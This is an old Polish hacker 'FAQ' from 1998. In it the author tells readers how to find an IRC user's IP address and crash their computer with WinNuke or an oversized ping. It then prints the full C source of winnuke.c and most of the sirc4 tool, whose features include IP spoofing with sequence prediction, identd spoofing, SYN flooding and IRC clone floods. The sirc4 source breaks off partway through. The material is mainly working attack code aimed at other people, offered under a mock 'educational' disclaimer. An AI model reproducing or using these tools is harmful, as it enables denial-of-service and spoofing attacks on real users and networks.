---------------- G_U_L_U_M faq----------------

17.4.1998

---------- Nie odpowiadam za lamerie ktora moze zrobic----------
----------sobie krzywde korzystajac z nizej zamieszczonej----------
----------tresci,wszystko zamieszczam tu w celach eduka-----------
----------cyjnych he he :) ----------

Dobra moze tak jest o moj I pierwszy faq wiec
nie spodziewajcie sie niczego nadzwyczajnego,
W wiekszosci sa tu kody zrodlowe ale coz :)

---Winnuke i port 139---

Wiem ze to lamerskie ,ale w koncu faqi sa pisane dla lemeri no dobra w ramach przypomnienia winnuke jest to prog
ktory wysyla na port 139 maly pakiet z syfem w efekcie prowadzi to do zaawieszenia kompa no dobra ale to tak w r
przypomnienia.

---Jak namierzac i rozpierdalac kolesi na IRCU---

Ok a wiec najprostsz metoda to oczywiscie winnuke ale juz dzis malo kto jest narazony na ten atak bo wiekszosc
zalatwila juz sobie antynuka ale zawsze mozna sprobowac Start: /whois nick_kolesia powinno pojawic sie cos w ty
stylu lamer@ppp84.walbrzych.tpnet.pl(dla lameri tpnet to telekomunikacja polska ;)). no dobra teraz mam jego adr
musimy przerobic to na IP najlepiej jest miec Netcopa lub inne tego typu narzedzia (nie jestem pewien ale zobaczci
www.hack.zone.to chyba nie ma co !! jak nie ma to zrobcie tak pod shitem dajcie na start uruchom wpisuj ping adre
kolesia no i wyskoczy wam cos takiego [1.1.1.1.1]- no i macie IP jak to nie podziala
to sprobujcie jescze portfuckiem przeslac syf na 139 portfuck jest na hackzone. No i pozostaje jescze jedna metoda
sprobujcie tak pod shitem "Start Uruchom pisz: `PING -l 65510 adres.do.spingowania.pl`

To powinno wystarczyc ;) Ponizej zamieszczam kod zrodlowy jakze popularnego winnuka ;)

--KUT HIR--

```
/* winnuke.c - (05/07/97)  By _eci  */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#define dport 139  /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye";  /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;


int open_sock(int sock, char *server, int port) {
     struct sockaddr_in blah;
     struct hostent *he;
     bzero((char *)&blah,sizeof(blah));
     blah.sin_family=AF_INET;
     blah.sin_addr.s_addr=inet_addr(server);
     blah.sin_port=htons(port);


    if ((he = gethostbyname(server)) != NULL) {
        bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
    }
    else {
         if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
           perror("gethostbyname()");
           return(-3);
         }
    }

        if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
             perror("connect()");
             close(sock);
             return(-4);
        }
        printf("Connected to [%s:%d].\n",server,port);
        return;
}


void main(int argc, char *argv[]) {

     if (argc != 2) {
        printf("Usage: %s <target>\n",argv[0]);
        exit(0);
      }

      if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
         perror("socket()");
         exit(-1);
      }

      open_sock(s,argv[1],dport);


      printf("Sending crash... ");
        send(s,str,strlen(str),MSG_OOB);
        usleep(100000);
      printf("Done!\n");
      close(s);
}
```

--KUT HIR--

---Zgodnie z rozkladem zamieszczam tu Kod zrodlowy sirca4---

Jeszcze go nie testowalem dopiero dzisiaj go dorwalem

--KUT HIR--

```
/* Here is my release of sirc4 =)  */
/*        - johan */

/* The include files */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <sys/utsname.h>
#include <string.h>
#include <fcntl.h>
#include <stdarg.h>

#include "tcpip.h"

/* Standard Macro */
#define MIN(x,y) (x<y) ? x : y;

/* Default Unreachable host */
```

```
#define UNREACHHOST "0.0.0.1"

/* This is for the clone bots, taken from a VERY useful post to oprahlust */
/*  by Avalon. I appreciate it, it's MUCH easier to cut and paste than to */
/*  write this from scratch. I modded it a little to make it a little easier */
/*  to work with. */
char *first[] = {
  "alex", "andrew", "andy", "bevan", "bob", "cathy", "chris", "claire",
  "damian", "dan", "danial", "dave", "david", "diana", "diane",
  "fred", "greg", "george", "helen", "horris", "ignrid", "ian", "iain",
  "jack", "james", "jenny", "john", "kali", "kathy", "kyle", "kylie",
  "lauren", "laura", "lisa", "mark", "mary", "melinda", "michael",
  "michele", "mike", "natasha", "neil", "noel", "odo",
  "perry", "phil", "phillip", "rick", "robert",
  "sean", "sue", "tammy", "tom", "tommy", "winston", "zhora",
};
char *last[] = {
  "allen", "andrews", "barton", "blue", "clark", "clarke", "chang",
  "crow", "ewing", "dixon", "fenwick", "gowen", "grant", "green",
  "gream", "harris", "harvey", "howard", "hoyle", "hume", "irving",
  "jackson", "jones", "lee", "lewis", "lloyd", "macleod", "martin",
  "mathews", "norris", "nelson", "osborn", "payne", "perry", "reid",
  "roberts", "salter", "seng", "simpson", "slater", "smith",
  "thompson", "ung", "ubert", "vainer", "wills", "wilson", "wood",
  "young", "zahra",
};
#define NUMLAST sizeof(last)/sizeof(char *)
#define NUMFIRST sizeof(first)/sizeof(char *)

char *numbers[] = {"0","1","2","3","4","5","6","7","8","9"};

/* Some flags */
#define FL_FLOODHOST    0x0001
#define FL_SPOOFIDENTD  0x0002
#define FL_WAITIDENTD   0x0004

/* Makes up a new name for the random clones/spoofs */
char *newname(short i, short j)
{
  char name[9];
  short n, m;

  if (random() & 1) {
    n = random() % i;
    if (strlen(first[n]) < 7)
      strcpy(name, first[n]);
    if (((random() & 7) < 3) && strlen(name) < 8)
      strncat(name, first[random() % i], 1);
```

```
 }

 n = random() % j;
 if (strlen(last[n]) < 7)
   strcpy(name, last[n]);
  else {
   m = MIN(random() % 6, 8 - strlen(name));
   strncpy(name, last[n], 7 - m);
   name[7-m] = '\0';
  }

 if (((random() & 7) < 3) && (strlen(name) < 8)) {
   strncat(name, first[random() % i], 1);
   if (((random() & 7) < 3) && (strlen(name) < 8))
     strncat(name, first[random() % i], 1);
 } else {
   if (((random() & 7) < 5) && (strlen(name) < 8)) {
     m = random() % 10;
     strncat(name, numbers[m], 1);
     if (!m && ((random() & 7) < 5) && (strlen(name) < 8))
       strncat(name, numbers[random() % 10], 1);
   }
 }
 return((char *)strdup(name));
}

/* What the fuck do you think this function does? */
void usage(char *progname)
{
 printf("Usage: %s [options]\n",progname);
 printf("  -p <host[:port]>\n");
 printf("\tTests the host to see if it is IP spoofable\n");
 printf("  -s <host[:port]> [<unreach ip>]\n");
 printf("\tTests to see if the machine is SYN floodable\n");
 printf("  -o <host[:port]>\n");
 printf("\tAttempts to determine the Operating System of the host\n");
 printf("  -i <server[:port[:spport]]> [<nick> <uname@host[:fport]> <gecos>]\n");
 printf("\tLog onto IRC. If no nick, etc then they will be random\n");
 printf("  -t <host ip[:port]> <spoof ip>\n");
 printf("\tCreate's a telnet like connection\n");
 printf("  -a <host ip> <begin port> <end port>\n");
 printf("\tScans ports from begin to end (Like strobe but better :)\n");
 printf("  -c <#> [<servers> <spoof ip>]\n");
 printf("\tCreate's # of clones reading information from the files specified\n");
 printf("\tDefault = servers.list and spoofs.list\n");
 printf("  -w \tWait for identd port before continuing\n");
 printf("  -d \tAttempt to spoof identd\n");
 printf("  -f \tFlood the spoof'd IP\n");
```

```
  printf("\n");
  printf("Note: IP's can be interchanged with a hostname\n");
  printf("Note: Surround the gecos field with \" to preserve the spaces\n");
  exit(1);
}

/* Sends one string */
void sendstring(spoofrec *spoof, char *s)
{
  sendtcp(spoof,CF_ACK | CF_PSH,s,strlen(s),12,2);
}

/* Returns the domain name given the IP # */
char *getdomainname(struct sockaddr_in host)
{
  struct hostent *lookup;

  if ((lookup = gethostbyaddr((char *)&host.sin_addr,sizeof(long),AF_INET)) != NULL)
    return((char *)lookup->h_name);

  return((char *)inet_ntoa(host.sin_addr));
}

char *getstring(void)
{
  short curpos;
  char s[81],ch;

  curpos=0;
  while (1) {
    if (fread(&ch,sizeof(char),1,stdin) <= 0)
      continue;

    s[curpos++]=ch;
    if ((ch=='\r') || (ch=='\n')) {
      s[curpos]=0;
      curpos=0;
      return((char *)strdup(s));
    }
  }

  return(NULL);
}

char *getircstring(void)
{
  return(getstring());
}
```

```
unsigned long determinetcpseq(short flags, struct sockaddr_in host,
                                                                                                    uns
{
  spoofrec seqpred;
  long lasttime;
  unsigned short done,i,iport,portbase;
  tcprec tcp;

  printf("Using port %d as seq pred port\n",port);

  /* Make a random port base */
  portbase=2000+getpid();

  seqpred.from.sin_addr=getlocalip(host.sin_addr.s_addr);
  seqpred.dest=host;

  seqpred.dport=port;
  seqpred.ack=0;

  printf("Starting sequence # prediction\n");
  lasttime=0;
  done=0;
  i=0;
  iport=0;
  while (!done) {
    /* Every 2 seconds, send out a SYN packet */
    if (lasttime<time(NULL)) {
      printf("Sending SYN request\n");
      seqpred.sport=portbase+i;
      sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
      i++;
      lasttime=time(NULL)+2;
    }

    while ((!done) && (gettcp(&seqpred,&tcp))) {
      if ((ntohs(tcp.dport)==113) && (!iport)) {
        iport=ntohs(tcp.sport);
        printf("Identd port: %d\n",iport);
        if ((flags & FL_WAITIDENTD) && (seqpred.ack))
          done=1;
      }

      if (ntohs(tcp.dport)==seqpred.sport) {
        if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
          printf("Connection refused\n");
          exit(1);
        }
        if (!seqpred.ack) {
          printf("Got SYN/ACK back from host\n");
          seqpred.ack=ntohl(tcp.seqnum);
          /* if ((!(flags & FL_WAITIDENTD)) || (iport)) */
            done=1;
        }
      }
    }
  }

  if (identd != NULL)
    *identd = iport;

  return(seqpred.ack);
}

void sendirclogin(spoofrec *spoof, char *nick, char *username, char *gecos)
{
  char s[81];

  sendstring(spoof,"\n"); /* Send a blank line */

  sprintf(s,"NICK %s\n",nick);
  /* printf(s); */
  sendstring(spoof,s); /* Then the NICK */

  sprintf(s,"USER %s %s",username,inet_ntoa(spoof->from.sin_addr));
  sprintf(s,"%s %s :%s\n",s,
    inet_ntoa(spoof->dest.sin_addr),gecos);
  /* printf(s); */
  sendstring(spoof,s); /* And then USER */

  sprintf(s,"MODE %s +iw\n",nick);
  /* printf(s); */
  sendstring(spoof,s); /* And lastly the MODE */
}

/* Connects a spoof to an IRC server given the information */
void connectirc(short flags, struct sockaddr_in server, short port,
                                                                                                   char *ni
                                                                                                   short fp
{
  struct sockaddr_in fhost;
  spoofrec spoof, identd, flood;
  short i,i1,done;
  unsigned short curpos,iport;
  char s[81],ch;
```

```
/* Spoof the identd connection */
if (flags & FL_SPOOFIDENTD) {
  server.sin_port=htons(port);
  if ((i=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("Opening stream socket");
    exit(1);
  }
  if (connect(i, (struct sockaddr *)&server, sizeof(server)) < 0) {
    perror("Connecting stream socket");
    exit(1);
  }
  close(i);
}

if (resolve_host("0.0.0.1",&fhost)<0)
  exit(-1);

flood.dest=shost;
flood.from=fhost;
flood.seq=spoof.seq-64000;
flood.ack=0;
flood.dport=fport;
for (i=0;i<50;i++) {
  flood.sport=10000-i;
  sendtcp(&flood,CF_SYN,NULL,0,1,1);
}

spoof.dest=server;
spoof.from=shost;

spoof.dport=port;
spoof.sport=fport;
spoof.seq=128000+getpid();
spoof.ack=determinetcpseq(flags,server,spport,&iport)+64000;
printf("ACK: %lu\n",spoof.ack);

sendtcp(&spoof,CF_SYN,NULL,0,1,1);
sleep(1);
sendtcp(&spoof,CF_ACK,NULL,0,6,2);

/* Now comes the time to spoof the identd connection */
if ((flags & FL_SPOOFIDENTD) && (iport)) {
  identd.from=spoof.from;
  identd.dest=spoof.dest;
  identd.sport=113;
  identd.seq=spoof.seq+128000;
  printf("Beginning identd spoofing\n");
  for (i=0;i<10;i++) {
      /* Setup some variables */
      identd.dport=iport+i+1;
      identd.seq+=128000;
      identd.ack=spoof.ack+64001;

      /* Send the connection accept packet */
      sendtcp(&identd,CF_SYN | CF_ACK,NULL,0,12,2);

      /* sleep(1); */

      /* Acknowledge the packet it sends us */
      /* We need to acknowledge the correct # of chars since we need to */
      /*  close this connection quickly before ircd times out */
      identd.ack+=5;
      sprintf(s,"%d",spoof.sport);
      identd.ack+=strlen(s);
      sprintf(s,"%d",spoof.dport);
      identd.ack+=strlen(s);
      sendtcp(&identd,CF_ACK,NULL,0,12,2);

      /* Make our packet confirming our identity */
      sprintf(s,"%hu, %hu : USERID : UNIX : %s\r\n",spoof.sport,spoof.dport,username);
      sendstring(&identd,s);

      /* sleep(1); */

      /* And close the connection */
      sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,12,2);
      identd.seq++;
      identd.ack++;
      sendtcp(&identd,CF_FIN | CF_ACK,NULL,0,12,2);
    }
  }

  sleep(1);
  sendirclogin(&spoof,nick,username,gecos);

  while (1)
    sendstring(&spoof,getircstring());
}

void connecttelnet(short flags, struct sockaddr_in server, short port,
                   struct sockaddr_in shost)
{
  spoofrec spoof, identd;
  short i,i1,done;
  unsigned short curpos,iport;
  char s[81],ch;
  /* Setup the structure and determine the TCP seq # */
  spoof.dest=server;
  spoof.from=shost;
  spoof.dport=port;
  spoof.sport=1234+getpid();
  spoof.seq=128000+getpid();
  spoof.ack=determinetcpseq(flags,server,port,&iport)+64000;
  printf("ACK: %lu\n",spoof.ack);

  /* Start up the connection */
  sendtcp(&spoof,CF_SYN,NULL,0,1,1);
  sleep(1);
  sendtcp(&spoof,CF_ACK,NULL,0,6,2);

  sleep(1);

  /* Send a \n */
  sendstring(&spoof,"\n");

  /* Send shit */
  while (1)
    sendstring(&spoof,getstring());
}

void connectclones(short flags, short numclones, char *serverfn, char *spooffn)
{
  spoofrec *clones,seqpred;
  char *nickname,s[81],*p;
  short i,i1,j,k,done,portbase,clonenum,fromport;
  long begintime,lasttime;
  FILE *serverl, *spoofl;
  tcprec tcp;

  fromport=1024+getpid();
  if (fromport<1024)
    fromport+=1024;

  clones=(spoofrec *)malloc(sizeof(spoofrec)*numclones);

  serverl=fopen(serverfn,"rt");
  spoofl=fopen(spooffn,"rt");
  portbase=(rand()%1000)+1024;
  for (clonenum=0;clonenum<numclones;) {
    do {
      s[0]=0;
      while (!s[0]) {
        fgets(s,81,serverl);
        if (feof(serverl))
          rewind(serverl);
        s[strlen(s)-1]=0;
      }
      if ((p=strchr(s,':'))!=NULL) {
        *p=0;
        seqpred.dport=atoi(p+1);
      } else
        seqpred.dport=6667;

      if (resolve_host(s,&seqpred.dest)<0)
        exit(-1);

      seqpred.from.sin_addr=getlocalip(seqpred.dest.sin_addr.s_addr);
      begintime=time(NULL)+10;
      lasttime=0;
      done=0;
      i=0;
      printf("Determining seq #'s for server %s\n",s);
      while (!done) {
        /* Every 2 seconds, send out a SYN packet */
        if (lasttime<time(NULL)) {
          seqpred.sport=portbase;
          sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
          portbase++;
          lasttime=time(NULL)+2;
        }

        while ((gettcp(&seqpred,&tcp)) && (!done)) {
          if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
            if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
              printf("Connection refused\n");
              exit(1);
            }
            seqpred.ack=ntohl(tcp.seqnum);
            done=1;
          }
        }
        if (begintime<time(NULL))
          break;
      }
    } while (!done);

    i1=(5 < (numclones-clonenum)) ? 5 : (numclones-clonenum);

    for (i=0;i<i1;i++) {
      s[0]=0;
      while (!s[0]) {
        fgets(s,81,spoofl);
        if (feof(spoofl))
          rewind(spoofl);
        s[strlen(s)-1]=0;
      }

      if (resolve_host(s,&clones[clonenum+i].from)<0)
        exit(-1);

      printf("Creating connection for clone #%d from
%s\n",clonenum+i+1,inet_ntoa(clones[clonenum+i].from.sin_addr));
      clones[clonenum+i].dest=seqpred.dest;
      clones[clonenum+i].dport=seqpred.dport;
      clones[clonenum+i].sport=fromport++;
      clones[clonenum+i].seq=seqpred.seq+(128000*(i+1))+128000;
      clones[clonenum+i].ack=seqpred.ack+(64000*(i+1));
    }

    for (i=0;i<i1;i++)
      sendtcp(&clones[clonenum+i],CF_SYN,NULL,0,1,1);

    sleep(1);

    for (i=0;i<i1;i++)
      sendtcp(&clones[clonenum+i],CF_ACK,NULL,0,6+i1,2);

    sleep(1);

    for (i=0;i<i1;i++) {
      do {
        j=random()%NUMFIRST;
      } while (!j);
      do {
        k=random()%NUMLAST;
      } while (!k);
      nickname=newname(j,k);
      sendstring(&clones[clonenum+i],"\n");
      sprintf(s,"NICK %s\n",nickname);
      sendstring(&clones[clonenum+i],s);
      sprintf(s,"USER %s %s %s :%c%s %c%s\n",
        nickname,inet_ntoa(clones[clonenum+i].from.sin_addr),"nope",
        toupper(*first[j]), first[j] + 1,
        toupper(*last[k]), last[k] + 1);
      sendstring(&clones[clonenum+i],s);
    }
    clonenum+=i1;
  }
  while (1) {
    p=getircstring();
    for (i=0;i<numclones;i++)
      sendstring(&clones[i],p);
  }
}

#define NUMSENDPACKETS 5

void checkipspoofable(struct sockaddr_in dest, short port)
{
  spoofrec spoof;
  tcprec tcp;
  short i, start, numrecvd, ok;
  long lastseq=0, seqlist[NUMSENDPACKETS], timeout, lasttick, diff;

  start=getpid()+1234;

  spoof.seq=rand();
  spoof.ack=0;
  spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  spoof.dest=dest;
  spoof.dport=port;
  for (i=0;i<NUMSENDPACKETS;i++) {
    spoof.sport=start+i;
    sendtcp(&spoof,CF_SYN,NULL,0,1,1);
    seqlist[i]=0;
  }

  timeout=time(NULL)+10;
  while ((numrecvd < NUMSENDPACKETS) && (timeout > time(NULL))) {
    if (lasttick != time(NULL)) {
      printf("%-2d\r",timeout-time(NULL));
      lasttick=time(NULL);
    }
    if (gettcp(&spoof,&tcp)) {
      if (ntohs(tcp.sport) != port)
        continue;

      if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
        printf("Invalid port\n");
        return;
      }
      if (seqlist[ntohs(tcp.dport)-start])
        continue;

      printf("%d - %lu",ntohs(tcp.dport),ntohl(tcp.seqnum));
      if (lastseq)
```

```
        printf(" - %ld",ntohl(tcp.seqnum)-lastseq);
      lastseq=ntohl(tcp.seqnum);
      numrecvd++;
      seqlist[ntohs(tcp.dport)-start]=ntohl(tcp.seqnum);
      printf("\n");
    }
  }

  if (!numrecvd) {
    printf("Results inconclusive, no packets returned. Try again\n");
    return;
  }

  /* Find the first non 0 seq # */
  i=0;
  while ((lastseq=seqlist[i])==0)
    i++;

  lastseq=seqlist[i++];

  while (seqlist[i]==0)
    i++;

  diff=seqlist[i]-lastseq;
  ok=numrecvd;
  for (;(i<NUMSENDPACKETS) && (ok);i++) {
    if (!seqlist[i])
      continue;

    if ((seqlist[i]-lastseq) >= diff) {
      if (((seqlist[i]-lastseq) % diff) == 0)
        ok=1;
       else
        ok=0;
    } else {
      if ((diff % (seqlist[i]-lastseq)) == 0)
        ok=1;
       else
        ok=0;
    }
    if ((seqlist[i]-lastseq) < diff)
      diff=seqlist[i]-lastseq;
  }
  if (ok)
    printf("Machine is spoofable (inc=%lu)\n",diff);
   else
    printf("Machine is NOT spoofable\n");
}
```

```
#define NUMFLOOD 20

void checksynflood(struct sockaddr_in dest, short dport)
{
  spoofrec spoof, flood;
  tcprec tcp;
  short i, ok, start;
  long timeout;
  struct sockaddr_in fhost;

  if (resolve_host("0.0.0.1",&fhost)<0)
    exit(-1);

  start=(rand()%10000)+2048;
  flood.seq=rand();
  flood.ack=0;
  flood.from=fhost;
  flood.dest=dest;
  flood.dport=dport;
  for (i=0;i<NUMFLOOD;i++) {
    flood.sport=start+i;
    sendtcp(&flood,CF_SYN,NULL,0,1,1);
  }

  spoof.seq=rand();
  spoof.ack=0;
  spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  spoof.dest=dest;
  spoof.dport=dport;
  spoof.sport=getpid();
  sendtcp(&spoof,CF_SYN,NULL,0,1,4);
  timeout=time(NULL)+10;
  ok=0;
  while ((timeout > time(NULL)) && (!ok)) {
    if (gettcp(&spoof,&tcp)) {
      if (ntohs(tcp.dport) == getpid())
        ok=1;
    }
  }
  if (!ok)
    printf("Machine MIGHT be SYN floodable\n");
   else
    printf("Machine is NOT SYN floodable\n");

  for (i=0;i<NUMFLOOD;i++) {
    flood.sport=start+i;
    sendtcp(&flood,CF_RST,NULL,0,1,2);
  }
}

#define OS_UNKNOWN 1
#define OS_BSD44 2
#define OS_LINUX 3
#define OS_WIN95 4

#define OSD_WIN95WAIT

0x0001

void checkos(struct sockaddr_in dest, short dport)
{
  spoofrec spoof;
  tcprec tcp;
  short done, start, type, flags=0;
  long timeout;

  start=(rand()%10000)+2048;
  spoof.seq=rand();
  spoof.ack=0;
  spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  spoof.dest=dest;
  spoof.dport=dport;
  spoof.sport=start;

  /* First we'll check for Linux based systems */
  /*  When sent a FIN/SYN packet it replys with FIN/SYN/ACK */
  sendtcp(&spoof,CF_FIN | CF_SYN,NULL,0,1,1);

  spoof.sport=start+1;

  /* Then we'll check for 4.4 BSD based systems */
  /*  When sent a SYN/ACK it'll close the connection with the window !0 */
  sendtcp(&spoof,CF_SYN | CF_ACK,NULL,0,1,1);

  spoof.sport=start+2;

  /* Next we'll check for Win95 */
  /*  Will respond to FIN/SYN and to FIN */
  sendtcp(&spoof,CF_FIN,NULL,0,1,1);

  done=0;
  type=OS_UNKNOWN;
  timeout=time(NULL)+10;
  while ((timeout > time(NULL)) && (!done)) {
    if (gettcp(&spoof,&tcp)) {
      if (ntohs(tcp.sport) != dport)
        continue;

      if (ntohs(tcp.dport) == start) {
        if ((tcp.hrc & CF_SYN) && (tcp.hrc & CF_FIN)) {
          type=OS_LINUX;
          done=1;
        } else if (tcp.hrc & CF_SYN) {
          if (flags & OSD_WIN95WAIT) {
            done=1;
            type=OS_WIN95;
          } else
            flags |= OSD_WIN95WAIT;
        }
      }
      if (ntohs(tcp.dport) == (start+1)) {
        if (tcp.window)  {
          type=OS_BSD44;
          done=1;
        }
      }
      if (ntohs(tcp.dport) == (start+2)) {
        if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
          if (flags & OSD_WIN95WAIT) {
            done=1;
            type=OS_WIN95;
          } else
            flags & OSD_WIN95WAIT;
        }
      }
    }
  }
  switch (type) {
    case OS_UNKNOWN:
      printf("Unknown Operating System\n");
      break;
    case OS_BSD44:
      printf("Operating System is based off of BSD 4.4\n");
      break;
    case OS_LINUX:
      printf("Operating System is Linux\n");
      break;
    case OS_WIN95:
      printf("Operating System is Windows 95/Windows NT\n");
      break;
  }
}
```

```
void scanports(struct sockaddr_in dest, short sport, short eport)
{
 spoofrec strobe;
 char *portmap;
 tcprec tcp;
 int done=0, index, numfound, curport, sourceport;
 long timeout;

 sourceport=getpid()+1024;

 strobe.dest=dest;
 strobe.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
 strobe.seq=rand();
 strobe.ack=0;

 portmap=(char *)malloc(eport-sport);
 memset(portmap,0,eport-sport);

 timeout=time(NULL)+10;
 numfound=0;
 curport=sport;
 while (numfound < (eport-sport)) {
  if (timeout < time(NULL)) {
   curport=sport;
   timeout=time(NULL)+10;
  }

  while ((curport < eport) && (portmap[curport-sport]))
   curport++;

  if (curport < eport) {
   strobe.sport=sourceport;
   strobe.dport=curport;
   sendtcp(&strobe,CF_SYN,NULL,0,1,1);
   curport++;
  }

  while (gettcp(&strobe,&tcp))  {
   if ((ntohs(tcp.sport) >= eport) || (ntohs(tcp.sport < sport)))
    continue;

   index=ntohs(tcp.sport)-sport;

   if (portmap[index])
    continue;

   numfound++;
   portmap[index]=1;
```

```
      if (tcp.hrc & CF_SYN)  {
        printf("%d is listening\n",ntohs(tcp.sport));
        strobe.sport=sourceport;
        strobe.dport=tcp.sport;
        sendtcp(&strobe,CF_RST,NULL,0,1,1);
      } else
        printf("%-6d\r",ntohs(tcp.sport));
    }
  }
}

void checkport(struct sockaddr_in dest, short dport)
{
  spoofrec spoof;
  tcprec tcp;
  char ch;
  unsigned short sport,start;
  short i;

  sport=start=(rand()%10000)+2048;
  spoof.seq=0;
  spoof.ack=0;
  spoof.from.sin_addr=getlocalip(dest.sin_addr.s_addr);
  spoof.dest=dest;
  spoof.dport=dport;
  spoof.sport=1234;

/*
  if (!dport) {
    for (i=1;i<100;i++) {
      spoof.sport=start+i;
      spoof.dport=i;
      sendtcp(&spoof,CF_ACK | CF_SYN,NULL,0,1,1);
    }
  }
*/

  while (1) {
    if (gettcp(&spoof,&tcp)) {
      if (tcp.window) {
        printf("Port %d is listening\n",ntohs(tcp.sport));
      } else {
if (dport)
        printf("Port %d is NOT listening\n",ntohs(tcp.sport));
      }
if (dport) {
      printf("Port: %d\n",ntohs(tcp.dport));
      printf("Flags: ");
```

```
        if (tcp.hrc & CF_SYN)
          printf("SYN ");
        if (tcp.hrc & CF_ACK)
          printf("ACK ");
        if (tcp.hrc & CF_RST)
          printf("RST ");
        if (tcp.hrc & CF_FIN)
          printf("FIN ");
        if (tcp.hrc & CF_PSH)
          printf("PSH ");
        printf("%d",tcp.window);
        printf("\n");
        for (i=0;i<16;i++)
          printf("%02X ",((unsigned char *)&tcp)[i]);
        printf("\n");
        for (i=16;i<32;i++)
          printf("%02X ",((unsigned char *)&tcp)[i]);
        printf("\n");
        for (i=32;i<40;i++)
          printf("%02X ",((unsigned char *)&tcp)[i]);
        printf("\n");
  }
      }

      if (fread(&ch,sizeof(char),1,stdin) <= 0)
        continue;

      if (ch == '\n')
        continue;

      sport++;
      spoof.sport=sport;
      spoof.seq+=64000;

      switch (ch) {
        case '1':
          printf("Sending SYN. port %d\n",sport);
          sendtcp(&spoof,CF_SYN,NULL,0,1,1);
          break;
        case '2':
          printf("Sending SYN/ACK. port %d\n",sport);
          sendtcp(&spoof,CF_ACK | CF_SYN,NULL,0,1,1);
          break;
        case '3':
          printf("Sending FIN. port %d\n",sport);
          sendtcp(&spoof,CF_FIN,NULL,0,1,1);
          break;
        case '4':
```

```
        printf("Sending FIN/ACK. port %d\n",sport);
        sendtcp(&spoof,CF_ACK | CF_FIN,NULL,0,1,1);
        break;
      case '5':
        printf("Sending FIN/SYN. port %d\n",sport);
        sendtcp(&spoof,CF_FIN | CF_SYN,NULL,0,1,1);
        break;
      case '6':
        printf("Sending RST. port %d\n",sport);
        sendtcp(&spoof,CF_RST,NULL,0,1,1);
        break;
      case '7':
        printf("Sending RST/ACK. port %d\n",sport);
        sendtcp(&spoof,CF_ACK | CF_RST,NULL,0,1,1);
        break;
      case '8':
        printf("Sending FIN/SYN/ACK. port %d\n",sport);
        sendtcp(&spoof,CF_SYN | CF_ACK | CF_FIN,NULL,0,1,1);
        break;
      case '9':
        printf("Sending SYN/PSH. port %d\n",sport);
        sendtcp(&spoof,CF_SYN | CF_PSH,NULL,0,1,1);
        break;
      case 'a':
        printf("Sending SYN/RST. port %d\n",sport);
        sendtcp(&spoof,CF_SYN | CF_RST,NULL,0,1,1);
        break;
      case 'c':
        printf("Sending fragmented SYN. port %d\n",sport);
        {
          short fragoffs[] = {0,24};
          short fraglens[] = {24,8};

          sendtcpfrag(&spoof,CF_SYN,NULL,0,1,1,fragoffs,fraglens,2);
        }
      case 'd':
        printf("Sending RSTs\n");
        spoof.sport=1499;
        spoof.dport=6665;
        sendtcp(&spoof,CF_RST,NULL,0,10,1);
        break;
    }
  }
}

void parsearg(char *s, char *format, ...)
{
  va_list ap;
```

```
short d, *i;
char *p, *p1, ch;

va_start(ap,format);

while (*format) {
  switch (ch=*(format++)) {
    case '%':
      switch (*(format++)) {
        case 's':
          /* Ok, we want the string, find the the char after it so we know */
          /*  what to look for to end the string */
          ch=*(format++);
          if ((p=strchr(s,ch))==NULL)
            p=strchr(s,0);

          p1=va_arg(ap,char *);
          strncpy(p1,s,p-s);
          p1[p-s]=0;
          s+=(p-s);
          if (*p)
            s++;
          break;
        case 'd':
          if ((d=atoi(s))==0) {
            if (*format == '[')
              d=atoi(format+1);
          }
          i=va_arg(ap,short *);
          *i=d;

          if ((*format != '[') || ((p=strchr(format,']'))==NULL))
            continue;

          format=(p+1);
          while (isspace(*s) && *s)
            s++;

          while (isdigit(*s) && *s)
            s++;
          break;
      }
      break;
    default:
      *s++;
      break;
  }
}
```

```
  va_end(ap);
  return;
}

/* The main function */
void main(int argc, char *argv[])
{
  int i,i1,j,k,done,mode,numclones;
  struct sockaddr_in host,shost;
  unsigned short port,fport,spport,flags=0;
  char s[81],*nickname,*gecos,*serverlistfn,*spooflistfn,*p;
  char s1[81],username[16],spoofhost[81];

  init_tcpip();

  /* Unbuffer stdout and stdin */
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);

  /* If there aren't enough parameters, then show them the usage */
  if (argc<2)
    usage(argv[0]);

  mode=0;
  for (i=1;i<argc;i++) {
    /* Check to see if we have an argument in the correct style */
    if ((argv[i][0]!='-') && (argv[i][0]!='/'))
      usage(argv[0]);

    switch (toupper(argv[i][1])) {
      case 'H':
        /* Check to see if this domain name has a port attached to it */
        parsearg(argv[++i],"%s:%d[7]",s,&port);

        /* Resolve the hosts IP # */
        if (resolve_host(s,&host)<0)
          exit(-1);

        mode=11;
        break;
      case 'A':
        if (resolve_host(argv[++i],&host)<0)
          exit(-1);

        port=atoi(argv[++i]);
        fport=atoi(argv[++i]);
    mode=8;
    break;
  case 'P':
    /* Check to see if this domain name has a port attached to it */
    parsearg(argv[++i],"%s:%d[7]",s,&port);

    /* Resolve the hosts IP # */
    if (resolve_host(s,&host)<0)
      exit(-1);

    mode=10;
    break;
  case 'S':
    /* Check to see if this domain name has a port attached to it */
    parsearg(argv[++i],"%s:%d[7]",s,&port);

